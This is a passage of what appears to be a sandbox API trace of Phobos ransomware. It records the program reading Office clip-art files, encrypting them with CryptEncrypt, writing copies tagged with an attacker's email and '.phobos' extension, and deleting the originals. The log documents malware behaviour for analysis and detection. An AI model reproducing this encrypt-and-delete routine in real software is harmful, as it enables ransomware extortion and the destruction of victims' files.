dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0132.805] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2996) returned 1 [0132.805] CloseHandle (hObject=0x308) returned 1 [0132.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0132.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0132.806] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.806] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.806] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752fd8) returned 1 [0132.806] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.806] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xbb4, lpOverlapped=0x0) returned 1 [0132.854] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xbc0) returned 1 [0132.854] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xbc0, lpOverlapped=0x0) returned 1 [0132.855] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753198) returned 1 [0132.855] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.855] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0132.855] CryptDestroyKey (hKey=0x753198) returned 1 [0132.855] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0132.855] CryptDestroyKey (hKey=0x752fd8) returned 1 [0132.855] CloseHandle (hObject=0x308) returned 1 [0132.855] CloseHandle (hObject=0x2e4) returned 1 [0132.855] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0132.856] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0132.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.856] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1768) returned 1 [0132.856] CloseHandle (hObject=0x2e4) returned 1 [0132.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0132.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0132.857] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.857] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0132.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0132.857] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x7530d8) returned 1 [0132.857] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0132.857] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x6e8, lpOverlapped=0x0) returned 1 [0132.932] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x6f0) returned 1 [0132.932] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x6f0, lpOverlapped=0x0) returned 1 [0133.009] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0133.009] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.009] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.009] CryptDestroyKey (hKey=0x753158) returned 1 [0133.009] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.009] CryptDestroyKey (hKey=0x7530d8) returned 1 [0133.009] CloseHandle (hObject=0x2e4) returned 1 [0133.009] CloseHandle (hObject=0x308) returned 1 [0133.010] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0133.010] SetEvent (hEvent=0x2b8) returned 1 [0133.010] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.011] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2524) returned 1 [0133.011] CloseHandle (hObject=0x308) returned 1 [0133.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0133.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.011] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.011] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.011] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ad8) returned 1 [0133.011] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.011] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x9dc, lpOverlapped=0x0) returned 1 [0133.068] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x9e0) returned 1 [0133.068] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x9e0, lpOverlapped=0x0) returned 1 [0133.071] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0133.071] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.071] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.071] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.071] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.071] CryptDestroyKey (hKey=0x752ad8) returned 1 [0133.071] CloseHandle (hObject=0x308) returned 1 [0133.071] CloseHandle (hObject=0x2e4) returned 1 [0133.071] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0133.072] SetEvent (hEvent=0x2b8) returned 1 [0133.072] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.072] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=19068) returned 1 [0133.072] CloseHandle (hObject=0x2e4) returned 1 [0133.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0133.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.073] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.073] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.073] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e98) returned 1 [0133.073] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.073] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x4a7c, lpOverlapped=0x0) returned 1 [0133.134] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4a80, dwBufLen=0x4a80 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x4a80) returned 1 [0133.134] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x4a80, lpOverlapped=0x0) returned 1 [0133.135] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752fd8) returned 1 [0133.135] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.135] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.135] CryptDestroyKey (hKey=0x752fd8) returned 1 [0133.135] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.135] CryptDestroyKey (hKey=0x752e98) returned 1 [0133.135] CloseHandle (hObject=0x2e4) returned 1 [0133.135] CloseHandle (hObject=0x308) returned 1 [0133.135] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0133.136] SetEvent (hEvent=0x2b8) returned 1 [0133.136] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.137] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=580) returned 1 [0133.137] CloseHandle (hObject=0x308) returned 1 [0133.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0133.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.137] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.137] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.138] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0133.138] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.138] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x244, lpOverlapped=0x0) returned 1 [0133.139] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x250, dwBufLen=0x250 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x250) returned 1 [0133.139] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x250, lpOverlapped=0x0) returned 1 [0133.140] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0133.140] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.140] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.140] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.140] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.140] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.140] CloseHandle (hObject=0x308) returned 1 [0133.140] CloseHandle (hObject=0x2e4) returned 1 [0133.140] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0133.141] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.141] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=296) returned 1 [0133.141] CloseHandle (hObject=0x2e4) returned 1 [0133.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0133.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.142] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.142] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.142] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d58) returned 1 [0133.142] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.142] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, 